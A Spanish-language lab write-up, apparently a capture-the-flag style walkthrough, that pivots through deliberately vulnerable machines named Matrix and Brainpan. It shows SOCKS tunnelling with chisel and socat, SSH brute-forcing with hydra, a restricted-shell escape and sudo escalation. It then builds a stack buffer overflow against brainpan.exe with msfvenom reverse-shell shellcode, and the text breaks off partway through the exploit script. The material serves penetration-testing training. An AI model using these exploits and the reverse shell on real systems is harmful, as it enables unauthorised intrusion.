[*] Incoming connection (192.168.1.142,39538)
[*] AUTHENTICATE_MESSAGE (\,WIN-5OU2D4F1DCJ)
[*] User WIN-5OU2D4F1DCJ\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:smbFolder)
[*] Closing down connection (192.168.1.142,39538)
[*] Remaining connections []
Una vez copiado chisel a la máquina Dumbledore levantamos los túneles correspondientes y añadimos socks5 127.0.0.1 9999
a /etc/proxychains.conf
1
2
3
4
5
6
7
8
#DUMBLEDORE
.\chisel.exe client 192.168.100.129:6543 R:9999:socks
#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:6543,fork TCP:10.10.0.134:6542
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:6542,fork TCP:192.168.1.148:1234
Reconocimiento (Matrix)
Técnicas Vistas (Matrix):
- Crypto Challenge
- Creating a password dictionary using crunch
- EXTRA: Applying brute force with Hydra by going through a triple SOCKS5 proxy
- Escaping from a restrictive shell
- Abusing sudoers privilege [Privilege Escalation]
Seguimos realizando un escaneo de puertos con nmap
ya que tenemos conectividad directa con la máquina Matrix
a través de los tuneles creados
1
2
3
4
❯ seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 172.18.0.132 2>&1 | grep "tcp open"
22/tcp open ssh
80/tcp open http
31337/tcp open Elite
Para poder examinar el servicio HTTP por el navegador debemos crear una nueva regla en el foxyproxy
Después de enumerar el servicio HTTP por el puerto 80 no encontramos nada interesante por lo que seguimos con el puerto 31337
1
2
3
4
5
6
❯ proxychains whatweb http://172.18.0.132:31337
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:8888-<--timeout
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:9999-<><>-172.18.0.132:31337-<><>-OK
http://172.18.0.132:31337 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[172.18.0.132], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]
Inspeccionando el código fuente observamos una cadena en base64 en un comentario
1
2
❯ echo "ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=" | base64 -d;echo
echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
Parece que el contenido codificado en base64 es un echo sobre una cadena de texto y la guarda en el archivo Cypher.matrix
. Tras darle un par de vueltas probamos en nombre del archivo decodificado en la url de la web
El lenguaje codificado parece ser brainfuck. Hay múltiples herramientas en internet para decodificar este tipo de lenguaje, vamos a usar dcode. Como mensaje descodificado obtenemos lo siguiente You can enter into matrix as guest, with password k1ll0rXX Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password
Fuerza Bruta SSH (Matrix)
Conocemos al usuario guest
y parte de su contraseña pero nos faltan los dos últimos dígitos. Con la herramienta crunch
crearemos un diccionario personalizado que contemple todas las combinaciones de números y letras
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ crunch 8 8 -t k1ll0r%@ > passwords
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
❯ crunch 8 8 -t k1ll0r@% >> passwords
Crunch will now generate the following amount of data: 2340 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 260
❯ cat passwords| wc -l
520
Con hydra aplicaremos fuerza bruta con el diccionario personalizado sobre el servicio SSH
1
2
3
4
5
6
7
8
❯ proxychains hydra -l guest -P passwords ssh://172.18.0.132 -t 20 2>/dev/null
ProxyChains-3.1 (http://proxychains.sf.net)
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-13 20:25:31
[DATA] max 20 tasks per 1 server, overall 20 tasks, 520 login tries (l:1/p:520), ~26 tries per task
[DATA] attacking ssh://172.18.0.132:22/
[22][ssh] host: 172.18.0.132 login: guest password: k1ll0r7n
Nos conectamos por ssh a la máquina Matrix mediante proxychains. Hemos ganado acceso a la máquina Matrix
1
2
3
4
5
6
7
8
9
10
11
12
❯ proxychains ssh guest@172.18.0.132
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:8888-<--timeout
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:9999-<><>-172.18.0.132:22-<><>-OK
The authenticity of host '172.18.0.132 (172.18.0.132)' can't be established.
ECDSA key fingerprint is SHA256:BMhLOBAe8UBwzvDNexM7vC3gv9ytO1L8etgkkIL8Ipk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.18.0.132' (ECDSA) to the list of known hosts.
guest@172.18.0.132's password:
Last login: Mon Aug 6 16:25:44 2018 from 192.168.56.102
guest@porteus:~$
Escalada de Privilegios (Matrix)
Si tratamos de ejecutar cualquier comando nos dará error debido a que nos encontramos ante una restricted bash
. Si al conectarnos por SSH concatenamosal final un comando este se ejecuta y conseguimos escapar de la rbash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
guest@porteus:~$ id
-rbash: id: command not found
guest@porteus:~$ exit
logout
Connection to 172.18.0.132 closed.
❯ proxychains ssh guest@172.18.0.132 bash
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:8888-<--timeout
|D-chain|-<>-127.0.0.1:9999-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:9999-<><>-172.18.0.132:22-<><>-OK
guest@172.18.0.132's password:
id
uid=1000(guest) gid=100(users) groups=100(users),7(lp),11(floppy),17(audio),18(video),19(cdrom),83(plugdev),84(power),86(netdev),93(scanner),997(sambashare)
Listando interfaces de red nos damos cuenta que la máquina Matrix tiene conectividad con un segmento de red 10.15.12.0/24
y que la IP de la máquina Matrix en ese segmento es 10.15.12.130
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
guest@porteus:~$ ifconfig
eth125: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.15.12.130 netmask 255.255.255.0 broadcast 10.15.12.255
inet6 fe80::20c:29ff:fe18:a0cf prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:18:a0:cf txqueuelen 1000 (Ethernet)
RX packets 25 bytes 5504 (5.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24 bytes 4130 (4.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth126: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.132 netmask 255.255.255.0 broadcast 172.18.0.255
inet6 fe80::20c:29ff:fe18:a0c5 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:18:a0:c5 txqueuelen 1000 (Ethernet)
RX packets 265539 bytes 17253191 (16.4 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 263372 bytes 17717955 (16.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listando privilegios de sudo vemos que podemos ejecutar cualquie comando como root. En el directorio /root
encontramos la flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
guest@porteus:/home$ sudo -l
User guest may run the following commands on porteus:
(ALL) ALL
(root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
(trinity) NOPASSWD: /bin/cp
guest@porteus:/home$ sudo su
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
root@porteus:/home# whoami
root
root@porteus:/home# cd /root
root@porteus:~# ls
Desktop/ Documents/ Downloads/ Music/ Pictures/ Public/ Videos/ flag.txt
root@porteus:~# cat flag.txt
_,-.
,-' _| EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._ INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_. IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_| _,-'.
`-.|.-' | |`.-'|_ WHAT
| |_|,-'_`.
|-._,-' | NO, ME NEITHER
jrei | | _,'
'-|_,-' IT'S JUST A HYPOTHETICAL QUESTION
Reconocimiento (Brainpan)
Técnicas Vistas (Brainpan):
- EXTRA: Creation of bash script to discover computers on the internal network
- Web Enumeration - BurpSuite Intruder Attack (Due to certain timeout problems using multiple proxies)
- EXE Binary Analysis - Immunity Debugger [Buffer Overflow x32 Stack Based]
- EXTRA: Playing with netsh to control connection flow in Windows
- EXTRA: Reverse shell going through 4 machines using 4 SOCKS proxies
Iniciamos el reconocimiento de la máquina Brainpan
. Necesitamos saber su IP y los puertos abiertos que tiene esta máquina. Para ello nos haremos un pequeño script en bash el cual nos ayudará con la tarea. Sabiendo que la IP de la máquina Matrix en el segmento es 10.15.12.130 vamos a escanear todas las IP en el segmento 10.15.12.0/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@porteus:/tmp# ip a
10.10.0.134 192.168.1.142 fd89:c343:c759:42dc:20c:29ff:fef9:9301
2: eth126: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:18:a0:c5 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.132/24 brd 172.18.0.255 scope global dynamic eth126
valid_lft 1568sec preferred_lft 1568sec
inet6 fe80::20c:29ff:fe18:a0c5/64 scope link
valid_lft forever preferred_lft forever
3: eth125: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:18:a0:cf brd ff:ff:ff:ff:ff:ff
inet 10.15.12.130/24 brd 10.15.12.255 scope global dynamic eth125
valid_lft 1645sec preferred_lft 1645sec
inet6 fe80::20c:29ff:fe18:a0cf/64 scope link
valid_lft forever preferred_lft forever
1
2
3
4
5
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.15.12.$i" &>/dev/null && echo "[+] Host 10.15.12.$i - ACTIVO" &
done; wait
1
2
3
4
root@porteus:/tmp# ./hostDiscovery.sh
[+] Host 10.15.12.1 - ACTIVO
[+] Host 10.15.12.129 - ACTIVO
[+] Host 10.15.12.130 - ACTIVO
Ya sabemos que la IP de la máquina Brainpan
es la 10.15.12.129. Ahora procedemos a enumerar los puertos abiertos mediante otro script en bash
1
2
3
4
5
#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/10.15.12.129/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
1
2
3
root@porteus:/tmp# ./portDiscovery.sh
[+] Port 9999 - OPEN
[+] Port 10000 - OPEN
A partir de este punto para trabajar más cómodamente vamos a crear un túnel por el cual nos vamos a poder acceder a la máquina Brainpan
desde nuestro equipo atacante a pesar de no tener conexión directa al no estar en el mismo segmento. Después de crear el túnel debemos agregar socks5 127.0.0.1 5522
a nuestro archivo /etc/proxychains.conf
1
2
3
4
5
6
7
8
9
10
11
#MATRIX
root@porteus:/tmp# ./chisel client 172.18.0.130:8787 R:5522:socks
#DUMBLEDORE
C:\Windows\system32>netsh interface portproxy add v4tov4 listenport=8787 listenaddress=0.0.0.0 connectport=8788 connectaddress=192.168.100.129
#NAGINI
root@Nagini:/tmp# ./socat TCP-LISTEN:8788,fork TCP:10.10.0.134:8789
#ARAGOG
root@Aragog:/tmp# ./socat TCP-LISTEN:8789,fork TCP:192.168.1.148:1234
Ahora que tenemos conectividad directa con la máquina Brainpan seguimos aplicando un reconocimiento de puertos para verificar la información que vimos tras ejecutar el script portDiscovery.sh
desde la máquina Matrix
1
2
3
❯ seq 1 65535 | xargs -P 500 -I {} proxychains nmap -sT -Pn -p{} -open -T5 -v -n 10.15.12.129 2>&1 | grep "tcp open"
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Seguimos con whatweb
para extraer un poco más de información del servicio que corre por el puerto 10000
1
2
3
4
5
6
7
❯ proxychains whatweb http://10.15.12.129:10000
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:9999-<--timeout
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:8888-<--timeout
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:5522-<><>-10.15.12.129:10000-<><>-OK
http://10.15.12.129:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[10.15.12.129], Python[2.7.3]
Para acceder a la web crearemos una nueva norma en FoxyProxy con los datos del nuevo túnel
Ya podemos acceder directamente a través del navegador
Si tratamos de fuzzear directorios con gobuster nos puede dar problemas por lo que utilizaremos BurpSuite
para esta tarea. Antes de nada debemos configurar Burp ara que pase a través de nuestro proxy. Nos dirigimos a User Options -> SOCKS Proxy
Capturamos petición y redirigimos al Intruder para acontecer un ataque de tipo sniper. Cargamos el diccionario de SecLists directory-list-2.3-medium.txt
y comenzamos el ataque. Después de un rato obsrevamos que el directorio /bin
nos devuleve el estado 301
Accedemos a la ruta encontrada y vemos que nos comparten un binario brainpan.exe
Parece que este binario es el servicio que nos están compartiendo por el puerto 9999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ proxychains nc 10.15.12.129 9999
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:9999-<--timeout
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:8888-<--timeout
|D-chain|-<>-127.0.0.1:5522-<>-127.0.0.1:1080-<--timeout
|D-chain|-<>-127.0.0.1:5522-<><>-10.15.12.129:9999-<><>-OK
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Buffer Overflow (Brainpan)
En este punto nos descargamos el binario para aplicar debugging. Trabajaremos con una máquina con Windows 7 x86 ya que el binario es de 32 Bits. También haremos uso de la herramienta Inmunity Debugger la cual nos debemos descargar en la máquina Windows 7 x86. Ejecutamos la aplicación brainpan.exe, abrimos el Inmunity Debugger y adjuntamos el binario brainpan.exe. Desde nuestra máquina de atacante nos conectamos e insertamos muchas A’s y observamos la respuesta en Inmunity Debugger
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nc 192.168.1.145 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Vemos que los registros eip
y ebp
tienen el valor 41 41 41 41
que corresponde a las A’s introducidas en el input. Confirmamos que estamos ante el caso de que hemos escrito tantas A’s que hemos sobrepasado el tamaño de buffer asignado y hemos empezado a sobreescribir ciertos registros existentes en la memoria. En este punto debemos saber cuanta cantidad de A’s debemos escribir hasta sobreescribir el eip
. Para ello usaremos la herramienta del framework de Metasploit pattern create
el cual nos creará un patrón único de 1000 bytes
1
2
❯ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Volvemos a ejecutar binario brainpan.exe e inmunity y desde nuestra máquina de atacante nos conectamos e introducimos el patrón generado. Observamos esta vez que el registro de eip
es 35724134
. Con la herramienta de Metasploit pattern_offset
averiguamos que el offset se encuentra en 524
1
2
❯ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x35724134
[*] Exact match at offset 524
En este punto confirmamos que tenemos control del eip
. Si ahora conseguimos que el flujo del programa apunte a una dirección donde se aplica un Op. Code que aplique un salto al esp
enotonces podremos inyectarle un shellcode que lo ejecute. Sabemos que los programas no aceptan todo tipo de caracteres por tanto tenemos que generar un patrón de caracteres e introducirlos en el esp
y ver a través de Inmunity Debugger si hay algún caracter que no lo acepta. Si hay algún caracter que no lo representa estamos ante un Badchar
por lo que cuando generemos el shellcode tenemos que excluir estos caracteres ‘malos’ para evitar que corrompa el programa. Para esta tarea usaremos Mona. Ejecutamos Inmunity, seleccionarmos como directorio de trabajo una carpeta creada en nuestro escritorio con !mona config -set workingfolder C:\Users\yorch\Desktop\Binary\%p
y posteriormente ejecutamos !mona bytearray -cpb "\x00"
para que nos genere un bytearray y lo guarde en un archivo en el directorio de trabajo
Nos transferimos el archivo bytearray a nuestra máquina atacante y comenzamos con la elaboración del script incluyendo el bytearray
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
import socket
from struct import pack
offset = 524
before_eip = b"A" * offset
eip = b"B"*4
after_eip = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload = before_eip + eip + after_eip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.145", 9999))
s.send(payload)
s.close()
Arrancamos binario e Inmunity Debugger y ejecutamos el script desde nuestra máquina. Hacemos click secundario en la dirección del esp
, Follow in dump y veremos todos los caracteres introducidos en el esp
. Con la ayuda de mona ejecutando el parámetro !mona compare -f C:\Users\yorch\Desktop\Binary\_no_name\bytearray.bin -a 0x0022F930
validará si falta alguno de los caracteres generados en el bytearray. En este caso no encuentra ninguno. Si hubiera alguno hay que tenerlo en cuenta a la hora de generar el shellcode
En este punto podemos generar nuestro shellcode de la siguiente forma
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.148 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f c -b "\x00" EXITFUNC=thread
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xbb\x8f\x7a\x95\xab\xdb\xc8\xd9\x74\x24\xf4\x58\x29\xc9"
"\xb1\x52\x31\x58\x12\x83\xe8\xfc\x03\xd7\x74\x77\x5e\x1b"
"\x60\xf5\xa1\xe3\x71\x9a\x28\x06\x40\x9a\x4f\x43\xf3\x2a"
"\x1b\x01\xf8\xc1\x49\xb1\x8b\xa4\x45\xb6\x3c\x02\xb0\xf9"
"\xbd\x3f\x80\x98\x3d\x42\xd5\x7a\x7f\x8d\x28\x7b\xb8\xf0"
"\xc1\x29\x11\x7e\x77\xdd\x16\xca\x44\x56\x64\xda\xcc\x8b"
"\x3d\xdd\xfd\x1a\x35\x84\xdd\x9d\x9a\xbc\x57\x85\xff\xf9"
"\x2e\x3e\xcb\x76\xb1\x96\x05\x76\x1e\xd7\xa9\x85\x5e\x10"
"\x0d\x76\x15\x68\x6d\x0b\x2e\xaf\x0f\xd7\xbb\x2b\xb7\x9c"
"\x1c\x97\x49\x70\xfa\x5c\x45\x3d\x88\x3a\x4a\xc0\x5d\x31"
"\x76\x49\x60\x95\xfe\x09\x47\x31\x5a\xc9\xe6\x60\x06\xbc"
"\x17\x72\xe9\x61\xb2\xf9\x04\x75\xcf\xa0\x40\xba\xe2\x5a"
"\x91\xd4\x75\x29\xa3\x7b\x2e\xa5\x8f\xf4\xe8\x32\xef\x2e"
"\x4c\xac\x0e\xd1\xad\xe5\xd4\x85\xfd\x9d\xfd\xa5\x95\x5d"
"\x01\x70\x39\x0d\xad\x2b\xfa\xfd\x0d\x9c\x92\x17\x82\xc3"
"\x83\x18\x48\x6c\x29\xe3\x1b\x53\x06\xea\x4f\x3b\x55\xec"
"\x6e\x07\xd0\x0a\x1a\x67\xb5\x85\xb3\x1e\x9c\x5d\x25\xde"
"\x0a\x18\x65\x54\xb9\xdd\x28\x9d\xb4\xcd\xdd\x6d\x83\xaf"
"\x48\x71\x39\xc7\x17\xe0\xa6\x17\x51\x19\x71\x40\x36\xef"
"\x88\x04\xaa\x56\x23\x3a\x37\x0e\x0c\xfe\xec\xf3\x93\xff"
"\x61\x4f\xb0\xef\xbf\x50\xfc\x5b\x10\x07\xaa\x35\xd6\xf1"
"\x1c\xef\x80\xae\xf6\x67\x54\x9d\xc8\xf1\x59\xc8\xbe\x1d"
"\xeb\xa5\x86\x22\xc4\x21\x0f\x5b\x38\xd2\xf0\xb6\xf8\xf2"
"\x12\x12\xf5\x9a\x8a\xf7\xb4\xc6\x2c\x22\xfa\xfe\xae\xc6"
"\x83\x04\xae\xa3\x86\x41\x68\x58\xfb\xda\x1d\x5e\xa8\xdb"
"\x37";
Como en el Buffer Overflow de la máquina Linux necesitamos saber qué dirección aplica el salto al ESP. Sabiendo que el Op. code de la instrucción jmp ESP
es FFE4
y con la ayuda de mona usando la instrucción !mona find -s "\xFF\xE4" -m brainpan.exe
nos revela la dirección que buscamos, en este caso 0x311712f3
. Continuamos modificando script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
import socket
from struct import pack
offset = 524
before_eip = b"A" * offset
eip = pack("<I", 0x311712f3) # jmp ESP
